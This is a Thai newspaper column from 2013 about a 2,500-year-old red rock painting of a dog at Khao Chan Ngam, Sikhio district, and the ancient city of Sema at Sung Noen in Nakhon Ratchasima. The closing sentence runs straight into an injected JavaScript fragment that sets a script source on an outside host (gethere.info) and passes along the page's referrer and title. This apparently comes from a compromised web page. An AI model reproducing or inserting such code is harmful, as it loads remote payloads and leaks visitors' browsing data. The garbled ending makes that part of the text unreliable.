มติชนรายวัน ฉบับประจำวันศุกร์ที่ 20 ธันวาคม 2556

 

หมา 2,500 ปีมาแล้ว ที่ อ. สีคิ้ว จ. นครราชสีมา

          ภาพเขียนสีแดงรูปหมา อายุราว 2,500 ปีมาแล้ว มีสัดส่วนงดงามที่สุด อยู่บนเพิงผา บริเวณสำนักสงฆ์เขาจันทน์งาม บ้านเลิศสวัสดิ์ ต. ลาดบัวขาว อ. สีคิ้ว จ. นครราชสีมา

          ผมใช้งานลายเส้นคัดลอกจากหนังสือของกรมศิลปากรมานานหลายปีมาก แต่ไม่เคยไปดูสถานที่จริง จนเมื่อก่อนเที่ยงวันอาทิตย์ที่ 15 ธันวาคม เพิ่งไป“เดินด้วยตีน ดูด้วยตา” เห็นรูปหมาจริงๆบนเพิงผาหิน ตั้งอยู่บนเนินดินเตี้ยๆ เดินสะดวกมาก ไม่ต้องปีนเขา เพราะไม่เป็นเขาสูง

ลายเส้นคัดลอกรูปคน (เป็นบรรพชนคนไทยและคนโคราชทุกวันนี้) และรูปหมา บางส่วนจากภาพเขียนสี ราว 2,500 ปีมาแล้ว บนเพิงผาเขาจันทน์งาม บ้านเลิศสวัสดิ์ ต. ลาดบัวขาว อ. สีคิ้ว จ. นครราชสีมา

          บริเวณเขาจันทน์งาม เป็นพื้นที่ศักดิ์สิทธิ์ของชุมชนเมื่อ 2,500 ปีมาแล้ว ซึ่งตั้งหลักแหล่งหนาแน่นทางลุ่มน้ำลำตะคอง

          รูปหมาบนเพิงผาหันหน้าไปทางขวา วางตำแหน่งไว้บริเวณจุดเริ่มต้นของภาพเล่าเรื่อง ที่มีรูปคนหันหน้าไปทางขวาเดียวกัน

          แสดงว่าหมาเป็นสัตว์ศักดิ์สิทธิ์ ที่คนยุคนั้นต้องทำพิธีเซ่นวักประจำปีเพื่อขอฝนและความอุดมสมบูรณ์ก่อนออกทำมาหากินในชีวิตประจำวัน (ดังมีพยานหลักฐานขนาดใหญ่อยู่ที่ผาลาย มณฑลกวางสี ทางภาคใต้ของจีน)

          โดยมีนิทานกำกับว่ากำเนิดหมามีเก้าหาง ขึ้นไปขโมยพันธุ์ข้าวจากฟ้าลงมาให้มนุษย์ปลูกกิน เลยถูกอาวุธผีฟ้าขว้างถูกหางขาดไป 8 หาง จนเหลือหางเดียวถึงทุกวันนี้

          (มีรายละเอียดเรื่องหมาเป็นสัตว์ศักดิ์สิทธิ์เมื่อ 2,500 ปีมาแล้วอีกมาก เช่น นักโบราณคดีเคยขุดพบกระดูกหมาในวัฒนธรรมบ้านเชียง จ. อุดรธานี)

          ท้องถิ่นแถบเขาจันทน์งามแยกจากถนนมิตรภาพไม่กี่กิโลเมตร มีสนามกอล์ฟโดยรอบ แต่ไม่ค่อยมีใครรู้เรื่องรูปหมาศักดิ์สิทธิ์บนเพิงผา ที่มีอาณาบริเวณคลาสสิคมากๆและสะอาดสะอ้าน

          เหมาะเป็นแหล่งเรียนรู้เรื่องราวความเป็นมาของบรรพชนคนโคราช ซึ่งมีประจักษ์เป็นรูปคนแสดงการทำมาหากินเป็นท่าทางต่างๆอยู่ที่นี่เอง

 

เมืองเสมา 1,000 ปีมาแล้ว ที่ อ. สูงเนิน จ. นครราชสีมา

          จากเขาจันทน์งาม ที่ อ. สีคิ้ว นั่งรถไปราว 25 กิโลเมตร ถึง อ. สูงเนิน มีเมืองโบราณยุคทวารวดี ราวหลัง พ.ศ. 1000 ชาวบ้านเรียกเมืองเสมา เพราะพบเสมาหินกับธรรมจักรหินในบริเวณวัดพระนอน (ปัจจุบันชื่อวัดธรรมจักรเสมาราม)

          แต่พบจารึกราวหลัง พ.ศ. 1400 มีชื่อเมืองว่า“ศรีจนาศะ” ผมเคยรวบรวมบทความแสดงหลักฐานทางประวัติศาสตร์โบราณคดี และข้อถกเถียงทางวิชาการไว้ในหนังสือชื่อ ศรีจนาศะ รัฐอิสระที่ราบสูง (สำนักพิมพ์มติชน รวมพิมพ์ครั้งแรก พ.ศ. 2545)

          เมืองเสมาควรมีพัฒนาการจากชุมชน 2,500 ปีมาแล้ว นับถือศาสนาผี ยกย่องหมาเป็นสัตว์ศักดิ์สิทธิ์ แล้วมีพื้นที่ศักดิ์สิทธิ์ที่มีภาพเขียนสีแดง ทำพิธีกรรมร่วมกันอยู่เขาจันทน์งาม (อ. สีคิ้ว) ถือเป็นเขตปริมณฑลเดียวกัน

          หลังรับศาสนาพราหมณ์, พุทธจากลุ่มน้ำเจ้าพระยา(ผ่านทางเมืองศรีเทพ ลุ่มน้ำป่าสัก อ. ศรีเทพ จ. เพชรบูรณ์) จึงเติบโตเป็นเมืองเสมา

          ชื่อ“สูงเนิน” คนสมัย ร.5 เรียก“สองเนิน” มีพยานอยู่ในกลอนนิราศหนองคาย ของ หลวงพัฒนพงศ์ภักดี ว่า “ถึงสองเนินเดินทุ่งมุ่งหมายจร หยุดพักร้อนริมฝั่งน้ำลำตะคลอง”

          (ชื่อท้องถิ่นว่า“ลำตะคอง” กร่อนจาก“ลำตะคลอง” คำว่า คลอง มีรากจากภาษามอญ แปลว่า หนทาง)

          นิราศหนองคายขากลับกรุงเทพฯ จากโคราช ไม่ลงทางปากช่องดงพญาไฟ (ดงพญาเย็น) เพราะกลัวไข้ป่า จึงใช้เส้นทางผ่านเมืองเสมาที่สูงเนิน ไปดงพญากลาง ลงแม่น้ำป่าสักทางเมืองชัยบาดาล (อ. ชัยบาดาล จ. ลพบุรี)

          มีกลอนพรรณนาเมืองเสมาว่าเป็นเมืองโคราชเก่า ดังนี้

          เดินทางมาในกลางพนาวาส             ถึงยังเมืองโคราชดูคับขัน

          เป็นเมืองแก่แต่บุราณมานานครัน      เดี๋ยวนี้นั้นกลายเป็นชาวนาคร

          เชิงเทินดินสูงเด่นเช่นผู้เฒ่า              เป็นเมืองเก่าแรกสร้างแต่ปางก่อน

          แข็งแรงกำแพงรอบขอบนคร            ดูถาวรแต่งตั้งแต่ครั้งใด

          นั่งรถผ่านคูน้ำกำแพงดินเมื่อบ่ายวันอาทิตย์ ผมเห็นขยะเกลื่อนกลาด น่าอัศจรรย์สันดานคนยุคนี้s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;